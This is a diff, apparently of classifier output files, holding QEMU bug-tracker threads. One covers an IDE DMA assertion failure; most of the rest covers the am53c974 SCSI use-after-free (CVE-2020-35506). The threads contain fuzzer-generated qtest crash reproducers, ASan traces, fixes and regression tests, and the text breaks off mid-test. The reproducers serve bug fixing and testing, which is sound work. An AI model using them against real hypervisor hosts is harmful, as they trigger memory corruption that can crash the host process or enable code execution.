- qemu-2.12.0. + + +A repro for the bug is setup at https://github.com/asurati/1777315, although the rfc-patch that was sent yesterday is pending testing. Unless qemu-devel advises otherwise, I am available to test and present it as a bugfix, by tomorrow. + + +FYI: we've hit this as will with syzkaller testing; this is still reproducible as-is with latest qemu (commit a6ae238), and the latest Linux kernel (5.1-rc7). + +Here's a qtest reproducer: + +./i386-softmmu/qemu-system-i386 -M pc,accel=qtest \ +-qtest null -nographic -vga qxl -qtest stdio \ +-drive if=none,id=drive0,file=null-co://,file.read-zeroes=on,format=raw \ +-drive if=none,id=drive1,file=null-co://,file.read-zeroes=on,format=raw \ +-device ide-cd,drive=drive0 -device ide-hd,drive=drive1 -nodefaults \ +< attachment + +With -trace ide*: + +[R +0.020410] outw 0x171 0xffff +28186@1594494474.407743:ide_ioport_write IDE PIO wr @ 0x171 (Features); val 0xff; bus 0x55e383419100 IDEState 0x55e383419188 +28186@1594494474.407747:ide_ioport_write IDE PIO wr @ 0x172 (Sector Count); val 0xff; bus 0x55e383419100 IDEState 0x55e383419188 +OK +[S +0.020428] OK +[R +0.020433] outw 0x176 0x35fb +28186@1594494474.407756:ide_ioport_write IDE PIO wr @ 0x176 (Device/Head); val 0xfb; bus 0x55e383419100 IDEState 0x55e383419188 +28186@1594494474.407757:ide_ioport_write IDE PIO wr @ 0x177 (Command); val 0x35; bus 0x55e383419100 IDEState 0x55e383419558 +28186@1594494474.407759:ide_exec_cmd IDE exec cmd: bus 0x55e383419100; state 0x55e383419558; cmd 0x35 +.... +28186@1594494474.411019:ide_dma_cb IDEState 0x55e383419558; sector_num=1 n=511 cmd=DMA WRITE +OK +[S +0.023732] OK +[R +0.023736] outb 0x376 0x8f +28186@1594494474.411060:ide_cmd_write IDE PIO wr @ 0x376 (Device Control); val 0x8f; bus 0x55e383419100 +OK +[S +0.023741] OK +[R +0.023742] outw 0x376 0x2779 +28186@1594494474.411064:ide_cmd_write IDE PIO wr @ 0x376 (Device Control); val 0x79; bus 0x55e383419100 +OK +[S +0.023745] OK +qemu-system-i386: /home/alxndr/Development/qemu/hw/ide/core.c:880: void ide_dma_cb(void *, int): Assertion `n * 512 == s->sg.size' failed. + + + +This is an automated cleanup. This bug report has been moved +to QEMU's new bug tracker on gitlab.com and thus gets marked +as 'expired' now. Please continue with the discussion here: + + https://gitlab.com/qemu-project/qemu/-/issues/57 + + diff --git a/results/classifier/deepseek-1/output/ask!/1909247 b/results/classifier/deepseek-1/output/ask!/1909247 new file mode 100644 index 00000000..e6b89788 --- /dev/null +++ b/results/classifier/deepseek-1/output/ask!/1909247 @@ -0,0 +1,1593 @@ + +QEMU: use after free vulnerability in esp_do_dma() in hw/scsi/esp.c + +A use-after-free vulnerability was found in the am53c974 SCSI host bus adapter emulation of QEMU. It could occur in the esp_do_dma() function in hw/scsi/esp.c while handling the 'Information Transfer' command (CMD_TI). A privileged guest user may abuse this flaw to crash the QEMU process on the host, resulting in a denial of service or potential code execution with the privileges of the QEMU process. + +This issue was reported by Cheolwoo Myung (Seoul National University). + +Original report: +Using hypervisor fuzzer, hyfuzz, I found a use-after-free issue in +am53c974 emulator of QEMU enabled ASan. + +It occurs while transferring information, as it does not check the +buffer to be transferred. + +A malicious guest user/process could use this flaw to crash the QEMU +process resulting in DoS scenario. + +To reproduce this issue, please run the QEMU with the following command +line. + +# To enable ASan option, please set configuration with the following +$ ./configure --target-list=i386-softmmu --disable-werror --enable-sanitizers +$ make + +# To reproduce this issue, please run the QEMU process with the following command line +$ ./qemu-system-i386 -m 512 -drive file=./hyfuzz.img,index=0,media=disk,format=raw \ +-device am53c974,id=scsi -device scsi-hd,drive=SysDisk \ +-drive id=SysDisk,if=none,file=./disk.img + +Please find attached the disk images to reproduce this issue. + + + +RHBZ: https://bugzilla.redhat.com/show_bug.cgi?id=1909996 + +Looks the same, or very similar to this one: +/* + * Autogenerated Fuzzer Test Case + * + * This work is licensed under the terms of the GNU GPL, version 2 or + * later. See the COPYING file in the top-level directory. + */ + +#include "qemu/osdep.h" + +#include "libqos/libqtest.h" + +/* + * cat << EOF | ./qemu-system-i386 -display none -machine accel=qtest, \ + * -m 4G -device am53c974,id=scsi -device scsi-hd,drive=disk0 -drive \ + * id=disk0,if=none,file=null-co://,format=raw -nodefaults -qtest stdio + * outl 0xcf8 0x80001010 + * outl 0xcfc 0xc000 + * outl 0xcf8 0x80001004 + * outw 0xcfc 0x01 + * outl 0xc046 0x02 + * outl 0xc03f 0x0300 + * outw 0xc00b 0x4300 + * outl 0xc00b 0x9000 + * EOF + */ +static void test_fuzz(void) +{ + QTestState *s = qtest_init( + "-display none , -m 4G -device am53c974,id=scsi -device " + "scsi-hd,drive=disk0 -drive " + "id=disk0,if=none,file=null-co://,format=raw -nodefaults"); + qtest_outl(s, 0xcf8, 0x80001010); + qtest_outl(s, 0xcfc, 0xc000); + qtest_outl(s, 0xcf8, 0x80001004); + qtest_outw(s, 0xcfc, 0x01); + qtest_outl(s, 0xc046, 0x02); + qtest_outl(s, 0xc03f, 0x0300); + qtest_outw(s, 0xc00b, 0x4300); + qtest_outl(s, 0xc00b, 0x9000); + qtest_quit(s); +} +int main(int argc, char **argv) +{ + const char *arch = qtest_get_arch(); + + g_test_init(&argc, &argv, NULL); + + if (strcmp(arch, "i386") == 0) { + qtest_add_func("fuzz/test_fuzz", test_fuzz); + } + + return g_test_run(); +} + +Technically, the first one is a heap use-after-free, while the second a stack buffer overflow. They could be two different manifestations of the same issue; they both originate from handle_ti() and the root cause may be the same. + +Heap uaf: +================================================================= +==129653==ERROR: AddressSanitizer: heap-use-after-free on address 0x6290000b5000 at pc 0x7f0c3d947dd3 bp 0x7f0c13bfdac0 sp 0x7f0c13bfd270 +READ of size 27 at 0x6290000b5000 thread T7 + #0 0x7f0c3d947dd2 in __interceptor_memcpy (/lib64/libasan.so.6+0x39dd2) + #1 0x562c1c7292b2 in flatview_write_continue softmmu/physmem.c:2781 + #2 0x562c1c729589 in flatview_write softmmu/physmem.c:2816 + #3 0x562c1c729ef7 in address_space_write softmmu/physmem.c:2908 + #4 0x562c1c729faf in address_space_rw softmmu/physmem.c:2918 + #5 0x562c1c217754 in dma_memory_rw_relaxed include/sysemu/dma.h:8 + #6 0x562c1c2177a1 in dma_memory_rw include/sysemu/dma.h:127 + #7 0x562c1c21791b in pci_dma_rw include/hw/pci/pci.h:803 + #8 0x562c1c21b6e3 in esp_pci_dma_memory_rw hw/scsi/esp-pci.c:283 + #9 0x562c1c21ba6e in esp_pci_dma_memory_write hw/scsi/esp-pci.c:302 + #10 0x562c1c428685 in esp_do_dma hw/scsi/esp.c:526 + #11 0x562c1c429cb5 in handle_ti hw/scsi/esp.c:629 + ... + +Stack bof: +================================================================= +==138588==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffc8a90c300 at pc 0x559b1de0780e bp 0x7ffc8a90bd10 sp 0x7ffc8a90bd08 +WRITE of size 4 at 0x7ffc8a90c300 thread T0 + #0 0x559b1de0780d in stl_he_p include/qemu/bswap.h:353 + #1 0x559b1de07dec in stn_he_p include/qemu/bswap.h:486 + #2 0x559b1de23e47 in flatview_read_continue softmmu/physmem.c:2841 + #3 0x559b1de24215 in flatview_read softmmu/physmem.c:2879 + #4 0x559b1de243b5 in address_space_read_full softmmu/physmem.c:2892 + #5 0x559b1de2462c in address_space_rw softmmu/physmem.c:2920 + #6 0x559b1d1ec514 in dma_memory_rw_relaxed include/sysemu/dma.h:88 + #7 0x559b1d1ec561 in dma_memory_rw include/sysemu/dma.h:127 + #8 0x559b1d1ec6db in pci_dma_rw include/hw/pci/pci.h:803 + #9 0x559b1d1f04a3 in esp_pci_dma_memory_rw hw/scsi/esp-pci.c:283 + #10 0x559b1d1f07f8 in esp_pci_dma_memory_read hw/scsi/esp-pci.c:296 + #11 0x559b1d66fab1 in esp_do_dma hw/scsi/esp.c:576 + #12 0x559b1d6746e1 in handle_ti hw/scsi/esp.c:845 + ... + +Note that the use-after-free was found in v5.2.0 and, as far as I can tell, is not reproducible anymore on master. The ESP/NCR53C9x emulator (hw/scsi/esp.c) underwent several changes since v5.2.0. By git-bisecting, it looks like the original reproducer is neutralized after commit [1]. However, the qtest reproducer (comment #3) seems to be working fine on master as of today. + +[1] https://git.qemu.org/?p=qemu.git;a=commit;h=bb0bc7bbc9764a5e9e81756819838c5db88652b8 + +Hi Mauro, +Oops... I missed that it was a stack-overflow. I went through my list of crashes, and the closest one I can find is a heap UAF, but it is a write, rather than a read: + +/* + * Autogenerated Fuzzer Test Case + * + * Copyright (c) 2021 <name of author> + * + * This work is licensed under the terms of the GNU GPL, version 2 or + * later. See the COPYING file in the top-level directory. + */ + +#include "qemu/osdep.h" + +#include "libqos/libqtest.h" + +/* + * cat << EOF | ./qemu-system-i386 -display none -machine accel=qtest, \ + * -m 4G -device am53c974,id=scsi -device scsi-hd,drive=disk0 -drive \ + * id=disk0,if=none,file=null-co://,format=raw -nodefaults -qtest stdio + * outl 0xcf8 0x80001010 + * outl 0xcfc 0xc000 + * outl 0xcf8 0x80001004 + * outw 0xcfc 0x05 + * outb 0xc046 0x02 + * outl 0xc00b 0xc100 + * outl 0xc040 0x03 + * outl 0xc040 0x03 + * write 0x0 0x1 0x41 + * outl 0xc00b 0xc100 + * outw 0xc040 0x02 + * outl 0xc00b 0x9000 + * EOF + */ +static void test_fuzz(void) +{ + QTestState *s = qtest_init( + "-display none , -m 4G -device am53c974,id=scsi -device " + "scsi-hd,drive=disk0 -drive " + "id=disk0,if=none,file=null-co://,format=raw -nodefaults"); + qtest_outl(s, 0xcf8, 0x80001010); + qtest_outl(s, 0xcfc, 0xc000); + qtest_outl(s, 0xcf8, 0x80001004); + qtest_outw(s, 0xcfc, 0x05); + qtest_outb(s, 0xc046, 0x02); + qtest_outl(s, 0xc00b, 0xc100); + qtest_outl(s, 0xc040, 0x03); + qtest_outl(s, 0xc040, 0x03); + qtest_bufwrite(s, 0x0, "\x41", 0x1); + qtest_outl(s, 0xc00b, 0xc100); + qtest_outw(s, 0xc040, 0x02); + qtest_outl(s, 0xc00b, 0x9000); + qtest_quit(s); +} +int main(int argc, char **argv) +{ + const char *arch = qtest_get_arch(); + + g_test_init(&argc, &argv, NULL); + + if (strcmp(arch, "i386") == 0) { + qtest_add_func("fuzz/test_fuzz", test_fuzz); + } + + return g_test_run(); +} + + + +Thank you both for the reproducers. Please see the proposed patchset here: + +https://lists.gnu.org/archive/html/qemu-devel/2021-03/msg06063.html + + +On Wednesday, 17 March, 2021, 10:26:36 pm IST, Cheolwoo Myung <email address hidden> wrote: +> Hello PJP, Mauro +> +> Of course. you can post the details with our reproducers. +> I'm glad it helped you. +> +> Thank you. +> - Cheolwoo Myung +> + + +2021년 3월 17일 (수) 오후 10:30, P J P <email address hidden>님이 작성: +> +>On Monday, 15 March, 2021, 07:54:30 pm IST, Mauro Matteo Cascella <email address hidden> wrote: +>>JFYI, CVE-2020-35506 was assigned to a very similar (if not the same) +>>issue, see https://bugs.launchpad.net/qemu/+bug/1909247. +> +> * From the QEMU command lines below they do look similar. +> +> * CVE bug above does not link to an upstream fix/patch. Maybe it's not fixed yet? +> +> +>On Mon, Mar 15, 2021 at 6:58 AM P J P <email address hidden> wrote: +> >On Monday, 15 March, 2021, 11:11:14 am IST, Cheolwoo Myung <email address hidden> wrote: +> >Using hypervisor fuzzer, hyfuzz, I found a use-after-free issue in am53c974 emulator of QEMU enabled ASan. +> > +> ># To reproduce this issue, please run the QEMU process with the following command line. +> >$ ./qemu-system-i386 -m 512 -drive file=./hyfuzz.img,index=0,media=disk,format=raw \ +> > -device am53c974,id=scsi -device scsi-hd,drive=SysDisk -drive >id=SysDisk,if=none,file=./disk.img +> > +> > +> > Using hypervisor fuzzer, hyfuzz, I found a stack buffer overflow issue in am53c974 emulator of QEMU enabled ASan. +> > +> ># To reproduce this issue, please run the QEMU process with the following command line. +> >$ ./qemu-system-i386 -m 512 -drive file=./hyfuzz.img,index=0,media=disk,format=raw \ +> > -device am53c974,id=scsi -device scsi-hd,drive=SysDisk -drive >id=SysDisk,if=none,file=./disk.img +> > + +* I was able to reproduce these issues against the latest upstream git source + and following patch helps to fix above two issues. +=== +$ git diff hw/scsi/ +diff --git a/hw/scsi/esp-pci.c b/hw/scsi/esp-pci.c +index c3d3dab05e..4a6f208069 100644 +--- a/hw/scsi/esp-pci.c ++++ b/hw/scsi/esp-pci.c +@@ -98,6 +98,7 @@ static void esp_pci_handle_abort(PCIESPState *pci, uint32_t val) + trace_esp_pci_dma_abort(val); + if (s->current_req) { + scsi_req_cancel(s->current_req); ++ s->async_len = 0; + } + } + +diff --git a/hw/scsi/esp.c b/hw/scsi/esp.c +index 507ab363bc..99bee7bc66 100644 +--- a/hw/scsi/esp.c ++++ b/hw/scsi/esp.c +@@ -564,7 +564,7 @@ static void esp_do_dma(ESPState *s) + int to_device = ((s->rregs[ESP_RSTAT] & 7) == STAT_DO); + uint8_t buf[ESP_CMDFIFO_SZ]; + +- len = esp_get_tc(s); ++ len = MIN(esp_get_tc(s), sizeof(buf)); + if (s->do_cmd) { + /* +=== + + +> >Using hypervisor fuzzer, hyfuzz, I found a heap buffer overflow issue in am53c974 emulator of QEMU enabled ASan. +> > +> ># To reproduce this issue, please run the QEMU process with the following command line. +> >$ ./qemu-system-i386 -m 512 -drive file=./hyfuzz.img,index=0,media=disk,format=raw \ +> > -device am53c974,id=scsi -device scsi-hd,drive=SysDisk -drive >id=SysDisk,if=none,file=./disk.img + +* This heap OOB access issue seems to occur because + + static void do_busid_cmd(...) + ... + buf = (uint8_t *)fifo8_pop_buf(&s->cmdfifo, cmdlen, &n); <== + +'buf' points towards an end of the 32 byte buffer allocated via + + static void esp_init(Object *obj) + ... + fifo8_create(&s->cmdfifo, ESP_CMDFIFO_SZ(=32)); <== + +and the OOB access could occur at numerous places, one of which is + +scsi_req_new + -> scsi_req_parse_cdb + -> memcpy(cmd->buf, buf, cmd->len); <== buf=27, cmd->len=6 <= 27+6 exceeds limit 32. + + +* This one is quite tricky to fix. Because 'buf[]' is accessed at various + places with hard coded index values. It's not easy to check access + against 's->cmdfifo' object. + + +@Cheolwoo: is it okay with you if we post above details and your reproducers on the upstream bug + + -> https://bugs.launchpad.net/qemu/+bug/1909247 + +It'll help to discuss/prepare a proper fix patch. + + +Thank you. +--- + -P J P +http://feedmug.com + +Can you confirm that this is fixed in the v2 of the above patchset? + +https://lists.gnu.org/archive/html/qemu-devel/2021-03/msg06550.html + + +ATB, + +Mark. + + +Hello, + +Thank you all for your comments. Both patches (PJP/comment#8 - Mark/comment#9) seem to properly fix the UAF reported by Alexander in comment #6. However, I'm still able to reproduce the heap-bof from the above hw-esp-oob-issues.zip: + +./x86_64-softmmu/qemu-system-x86_64 -m 512 \ +-drive file=./atch2/hyfuzz.img,index=0,media=disk,format=raw \ +-device am53c974,id=scsi -device scsi-hd,drive=SysDisk \ +-drive id=SysDisk,if=none,file=./atch2/disk.img + + + +Hi, +I can still trigger stack-overflows, heap-UAFs and heap-overflows in the +code, but Mark's patches fixed some of the issues. I didn't want to +flood the issue-tracker with further problems in this code, since it +isn't clear what the security expectations are for this device. Of +course it is only a matter of time until someone sends more reports to +qemu-security. + +Mark, do you want me to provide more reproducers for this device? +-Alex + + + +On 3/24/21 4:53 PM, Alexander Bulekov wrote: +> Hi, +> I can still trigger stack-overflows, heap-UAFs and heap-overflows in the +> code, but Mark's patches fixed some of the issues. I didn't want to +> flood the issue-tracker with further problems in this code, since it +> isn't clear what the security expectations are for this device. Of +> course it is only a matter of time until someone sends more reports to +> qemu-security. + +I'd expect qemu-security to have a template "Thank you for your bug +but this device is not within the 'security' boundary, we will forward +your report to the community". + +> +> Mark, do you want me to provide more reproducers for this device? + +Surely Mark prefers you provide bugfixes instead :D + +Phil. + + +If Alex is interested in having a fuzz-proof device as a starting point for fuzzing QEMU's SCSI layer then I don't mind doing the basic work as I've spent a few months deep in the internals of the ESP controller, and it makes sense to look at this whilst it is all still fresh. I'd say there's at least one more set of ESP changes already waiting for after the 6.0 release. + +PJP: +Your change to esp-pci.c looks like a genuine issue, although there is an inconsistency within ESP as to what determines whether a request is in progress or not. My v2 patchset above uses the request member being non-NULL to indicate a valid request, but this should be made consistent throughout the driver. + +Can you provide a qtest reproducer so that it can be incorporated into the test included in the v2 patchset and also allow me to check that this issue has been fixed? + +Alex: +If you can try PJP's patch to esp-pci.c and if you still see some issues then please update this bug with a test case or two, and I will look at them when I get a moment. + +Mauro: +Thanks for the test case - again I shall look at this when I have some available time. + + +Add some more regression tests for the esp device. + +(Prasad's Patch) +Based-on: <email address hidden> +(Mark's v2 Patchset) +Based-on: <email address hidden> +Signed-off-by: Alexander Bulekov <email address hidden> +--- + +Hi Mark, +Hopefully these are useful. I realized that my previous message was +innacurate (I forgot to apply Prasad's patch, or your v2 +patchset). The only corruptions that I am continuing to see are +heap-overflows. I am guessing that most of these are due to some mututal +root cause, so the number of tests far-exceeds the actual number of +errors, but I am providing all of the crashes with unique-looking +stack-traces, just in case. +Please let me know if I can provide anything else that would help. +-Alex + + tests/qtest/am53c974-test.c | 1137 +++++++++++++++++++++++++++++++++++ + 1 file changed, 1137 insertions(+) + +diff --git a/tests/qtest/am53c974-test.c b/tests/qtest/am53c974-test.c +index c90bd4c187..cb2a5646a6 100644 +--- a/tests/qtest/am53c974-test.c ++++ b/tests/qtest/am53c974-test.c +@@ -9,6 +9,1125 @@ + + #include "libqos/libqtest.h" + ++/* ++ * cat << EOF | ./qemu-system-i386 -display none -machine accel=qtest, -m \ ++ * 512M -device am53c974,id=scsi -device scsi-hd,drive=disk0 -drive \ ++ * id=disk0,if=none,file=null-co://,format=raw -nodefaults -qtest stdio ++ * outl 0xcf8 0x80001010 ++ * outl 0xcfc 0xc000 ++ * outl 0xcf8 0x80001004 ++ * outw 0xcfc 0x01 ++ * outb 0xc000 0x4 ++ * outb 0xc008 0xa0 ++ * outl 0xc03f 0x0300 ++ * outl 0xc00b 0xc300 ++ * outw 0xc00b 0x9000 ++ * outl 0xc00b 0xc300 ++ * outl 0xc00b 0xc300 ++ * outl 0xc00b 0xc300 ++ * outw 0xc00b 0x9000 ++ * outw 0xc00b 0x1000 ++ * EOF ++ */ ++static void crash_0900379669(void) ++{ ++ QTestState *s = qtest_init( ++ "-display none -m 512M -device am53c974,id=scsi -device scsi-hd,drive=disk0 " ++ "-drive id=disk0,if=none,file=null-co://,format=raw -nodefaults"); ++ qtest_outl(s, 0xcf8, 0x80001010); ++ qtest_outl(s, 0xcfc, 0xc000); ++ qtest_outl(s, 0xcf8, 0x80001004); ++ qtest_outw(s, 0xcfc, 0x01); ++ qtest_outb(s, 0xc000, 0x4); ++ qtest_outb(s, 0xc008, 0xa0); ++ qtest_outl(s, 0xc03f, 0x0300); ++ qtest_outl(s, 0xc00b, 0xc300); ++ qtest_outw(s, 0xc00b, 0x9000); ++ qtest_outl(s, 0xc00b, 0xc300); ++ qtest_outl(s, 0xc00b, 0xc300); ++ qtest_outl(s, 0xc00b, 0xc300); ++ qtest_outw(s, 0xc00b, 0x9000); ++ qtest_outw(s, 0xc00b, 0x1000); ++ qtest_quit(s); ++} ++/* ++ * cat << EOF | ./qemu-system-i386 -display none -machine accel=qtest, -m \ ++ * 512M -device am53c974,id=scsi -device scsi-hd,drive=disk0 -drive \ ++ * id=disk0,if=none,file=null-co://,format=raw -nodefaults -qtest stdio ++ * outl 0xcf8 0x80001010 ++ * outl 0xcfc 0xc000 ++ * outl 0xcf8 0x80001004 ++ * outw 0xcfc 0x01 ++ * outl 0xc008 0x20 ++ * outw 0xc000 0x1 ++ * outb 0xc040 0x03 ++ * outl 0xc00b 0xc200 ++ * outl 0xc00b 0xc200 ++ * outl 0xc00b 0xc200 ++ * outl 0xc00b 0xc200 ++ * outl 0xc00b 0xc200 ++ * outl 0xc00b 0xc200 ++ * outl 0xc00b 0xc200 ++ * outl 0xc00b 0xc200 ++ * outl 0xc00b 0xc200 ++ * outl 0xc00b 0xc200 ++ * outl 0xc00b 0xc200 ++ * outw 0xc00b 0x4200 ++ * outl 0xc00a 0x410000 ++ * EOF ++ */ ++static void crash_094661a91b(void) ++{ ++ QTestState *s = qtest_init( ++ "-display none -m 512M -device am53c974,id=scsi -device scsi-hd,drive=disk0 " ++ "-drive id=disk0,if=none,file=null-co://,format=raw -nodefaults"); ++ qtest_outl(s, 0xcf8, 0x80001010); ++ qtest_outl(s, 0xcfc, 0xc000); ++ qtest_outl(s, 0xcf8, 0x80001004); ++ qtest_outw(s, 0xcfc, 0x01); ++ qtest_outl(s, 0xc008, 0x20); ++ qtest_outw(s, 0xc000, 0x1); ++ qtest_outb(s, 0xc040, 0x03); ++ qtest_outl(s, 0xc00b, 0xc200); ++ qtest_outl(s, 0xc00b, 0xc200); ++ qtest_outl(s, 0xc00b, 0xc200); ++ qtest_outl(s, 0xc00b, 0xc200); ++ qtest_outl(s, 0xc00b, 0xc200); ++ qtest_outl(s, 0xc00b, 0xc200); ++ qtest_outl(s, 0xc00b, 0xc200); ++ qtest_outl(s, 0xc00b, 0xc200); ++ qtest_outl(s, 0xc00b, 0xc200); ++ qtest_outl(s, 0xc00b, 0xc200); ++ qtest_outl(s, 0xc00b, 0xc200); ++ qtest_outw(s, 0xc00b, 0x4200); ++ qtest_outl(s, 0xc00a, 0x410000); ++ qtest_quit(s); ++} ++/* ++ * cat << EOF | ./qemu-system-i386 -display none -machine accel=qtest, -m \ ++ * 512M -device am53c974,id=scsi -device scsi-hd,drive=disk0 -drive \ ++ * id=disk0,if=none,file=null-co://,format=raw -nodefaults -qtest stdio ++ * outl 0xcf8 0x80001010 ++ * outl 0xcfc 0xc000 ++ * outl 0xcf8 0x80001004 ++ * outw 0xcfc 0x01 ++ * outb 0xc000 0x4 ++ * outl 0xc007 0x8000 ++ * outl 0xc03f 0x0300 ++ * outl 0xc00b 0x4300 ++ * outw 0xc00b 0x9000 ++ * outl 0xc00b 0xc300 ++ * outl 0xc00b 0xc300 ++ * outl 0xc00b 0xc300 ++ * outw 0xc00b 0x9000 ++ * outw 0xc00b 0x1000 ++ * EOF ++ */ ++static void crash_0fff2155cb(void) ++{ ++ QTestState *s = qtest_init( ++ "-display none -m 512M -device am53c974,id=scsi -device scsi-hd,drive=disk0 " ++ "-drive id=disk0,if=none,file=null-co://,format=raw -nodefaults"); ++ qtest_outl(s, 0xcf8, 0x80001010); ++ qtest_outl(s, 0xcfc, 0xc000); ++ qtest_outl(s, 0xcf8, 0x80001004); ++ qtest_outw(s, 0xcfc, 0x01); ++ qtest_outb(s, 0xc000, 0x4); ++ qtest_outl(s, 0xc007, 0x8000); ++ qtest_outl(s, 0xc03f, 0x0300); ++ qtest_outl(s, 0xc00b, 0x4300); ++ qtest_outw(s, 0xc00b, 0x9000); ++ qtest_outl(s, 0xc00b, 0xc300); ++ qtest_outl(s, 0xc00b, 0xc300); ++ qtest_outl(s, 0xc00b, 0xc300); ++ qtest_outw(s, 0xc00b, 0x9000); ++ qtest_outw(s, 0xc00b, 0x1000); ++ qtest_quit(s); ++} ++/* ++ * cat << EOF | ./qemu-system-i386 -display none -machine accel=qtest, -m \ ++ * 512M -device am53c974,id=scsi -device scsi-hd,drive=disk0 -drive \ ++ * id=disk0,if=none,file=null-co://,format=raw -nodefaults -qtest stdio ++ * outl 0xcf8 0x80001010 ++ * outl 0xcfc 0xc000 ++ * outl 0xcf8 0x80001004 ++ * outw 0xcfc 0x01 ++ * outw 0xc00c 0x41 ++ * outw 0xc00a 0x00 ++ * outl 0xc00a 0x00 ++ * outw 0xc00c 0x43 ++ * outw 0xc00b 0x00 ++ * outw 0xc00b 0x00 ++ * outw 0xc00c 0x00 ++ * outl 0xc00a 0x00 ++ * outw 0xc00a 0x00 ++ * outl 0xc00a 0x00 ++ * outw 0xc00c 0x00 ++ * outl 0xc00a 0x00 ++ * outw 0xc00a 0x00 ++ * outl 0xc00a 0x00 ++ * outw 0xc00c 0x00 ++ * outl 0xc00a 0x00 ++ * outw 0xc00a 0x00 ++ * outl 0xc00a 0x00 ++ * outw 0xc00c 0x00 ++ * outl 0xc00a 0x00 ++ * outl 0xc006 0x00 ++ * outl 0xc00b 0x00 ++ * outw 0xc00b 0x0800 ++ * outw 0xc00b 0x00 ++ * outw 0xc00b 0x00 ++ * outl 0xc006 0x00 ++ * outl 0xc00b 0x00 ++ * outw 0xc00b 0x0800 ++ * outw 0xc00b 0x00 ++ * outw 0xc00b 0x4100 ++ * outw 0xc00a 0x00 ++ * outl 0xc00a 0x100000 ++ * outl 0xc00a 0x00 ++ * outw 0xc00c 0x43 ++ * outl 0xc00a 0x100000 ++ * outl 0xc00a 0x100000 ++ * EOF ++ */ ++static void crash_1548bd10e7(void) ++{ ++ QTestState *s = qtest_init( ++ "-display none -m 512M -device am53c974,id=scsi -device scsi-hd,drive=disk0 " ++ "-drive id=disk0,if=none,file=null-co://,format=raw -nodefaults"); ++ qtest_outl(s, 0xcf8, 0x80001010); ++ qtest_outl(s, 0xcfc, 0xc000); ++ qtest_outl(s, 0xcf8, 0x80001004); ++ qtest_outw(s, 0xcfc, 0x01); ++ qtest_outw(s, 0xc00c, 0x41); ++ qtest_outw(s, 0xc00a, 0x00); ++ qtest_outl(s, 0xc00a, 0x00); ++ qtest_outw(s, 0xc00c, 0x43); ++ qtest_outw(s, 0xc00b, 0x00); ++ qtest_outw(s, 0xc00b, 0x00); ++ qtest_outw(s, 0xc00c, 0x00); ++ qtest_outl(s, 0xc00a, 0x00); ++ qtest_outw(s, 0xc00a, 0x00); ++ qtest_outl(s, 0xc00a, 0x00); ++ qtest_outw(s, 0xc00c, 0x00); ++ qtest_outl(s, 0xc00a, 0x00); ++ qtest_outw(s, 0xc00a, 0x00); ++ qtest_outl(s, 0xc00a, 0x00); ++ qtest_outw(s, 0xc00c, 0x00); ++ qtest_outl(s, 0xc00a, 0x00); ++ qtest_outw(s, 0xc00a, 0x00); ++ qtest_outl(s, 0xc00a, 0x00); ++ qtest_outw(s, 0xc00c, 0x00); ++ qtest_outl(s, 0xc00a, 0x00); ++ qtest_outl(s, 0xc006, 0x00); ++ qtest_outl(s, 0xc00b, 0x00); ++ qtest_outw(s, 0xc00b, 0x0800); ++ qtest_outw(s, 0xc00b, 0x00); ++ qtest_outw(s, 0xc00b, 0x00); ++ qtest_outl(s, 0xc006, 0x00); ++ qtest_outl(s, 0xc00b, 0x00); ++ qtest_outw(s, 0xc00b, 0x0800); ++ qtest_outw(s, 0xc00b, 0x00); ++ qtest_outw(s, 0xc00b, 0x4100); ++ qtest_outw(s, 0xc00a, 0x00); ++ qtest_outl(s, 0xc00a, 0x100000); ++ qtest_outl(s, 0xc00a, 0x00); ++ qtest_outw(s, 0xc00c, 0x43); ++ qtest_outl(s, 0xc00a, 0x100000); ++ qtest_outl(s, 0xc00a, 0x100000); ++ qtest_quit(s); ++} ++/* ++ * cat << EOF | ./qemu-system-i386 -display none -machine accel=qtest, -m \ ++ * 512M -device am53c974,id=scsi -device scsi-hd,drive=disk0 -drive \ ++ * id=disk0,if=none,file=null-co://,format=raw -nodefaults -qtest stdio ++ * outl 0xcf8 0x80001010 ++ * outl 0xcfc 0xc000 ++ * outl 0xcf8 0x80001004 ++ * outw 0xcfc 0x01 ++ * outl 0xc00a 0x420000 ++ * outl 0xc00a 0x430000 ++ * outl 0xc00b 0x00 ++ * outw 0xc00b 0x00 ++ * outw 0xc00b 0x00 ++ * outl 0xc00b 0x00 ++ * outw 0xc00b 0x00 ++ * outl 0xc00b 0x00 ++ * outw 0xc00b 0x00 ++ * outl 0xc00b 0x00 ++ * outb 0xc008 0x00 ++ * outw 0xc00b 0x00 ++ * outb 0xc008 0xa0 ++ * outw 0xc00b 0x00 ++ * outw 0xc00b 0x00 ++ * outw 0xc00b 0x00 ++ * outl 0xc00a 0x00 ++ * outw 0xc00b 0x00 ++ * outl 0xc00a 0x00 ++ * outl 0xc00a 0x00 ++ * outl 0xc00b 0x00 ++ * outw 0xc00b 0x00 ++ * outl 0xc00b 0x1000 ++ * outw 0xc00b 0x1000 ++ * EOF ++ */ ++static void crash_1afe349482(void) ++{ ++ QTestState *s = qtest_init( ++ "-display none -m 512M -device am53c974,id=scsi -device scsi-hd,drive=disk0 " ++ "-drive id=disk0,if=none,file=null-co://,format=raw -nodefaults"); ++ qtest_outl(s, 0xcf8, 0x80001010); ++ qtest_outl(s, 0xcfc, 0xc000); ++ qtest_outl(s, 0xcf8, 0x80001004); ++ qtest_outw(s, 0xcfc, 0x01); ++ qtest_outl(s, 0xc00a, 0x420000); ++ qtest_outl(s, 0xc00a, 0x430000); ++ qtest_outl(s, 0xc00b, 0x00); ++ qtest_outw(s, 0xc00b, 0x00); ++ qtest_outw(s, 0xc00b, 0x00); ++ qtest_outl(s, 0xc00b, 0x00); ++ qtest_outw(s, 0xc00b, 0x00); ++ qtest_outl(s, 0xc00b, 0x00); ++ qtest_outw(s, 0xc00b, 0x00); ++ qtest_outl(s, 0xc00b, 0x00); ++ qtest_outb(s, 0xc008, 0x00); ++ qtest_outw(s, 0xc00b, 0x00); ++ qtest_outb(s, 0xc008, 0xa0); ++ qtest_outw(s, 0xc00b, 0x00); ++ qtest_outw(s, 0xc00b, 0x00); ++ qtest_outw(s, 0xc00b, 0x00); ++ qtest_outl(s, 0xc00a, 0x00); ++ qtest_outw(s, 0xc00b, 0x00); ++ qtest_outl(s, 0xc00a, 0x00); ++ qtest_outl(s, 0xc00a, 0x00); ++ qtest_outl(s, 0xc00b, 0x00); ++ qtest_outw(s, 0xc00b, 0x00); ++ qtest_outl(s, 0xc00b, 0x1000); ++ qtest_outw(s, 0xc00b, 0x1000); ++ qtest_quit(s); ++} ++/* ++ * cat << EOF | 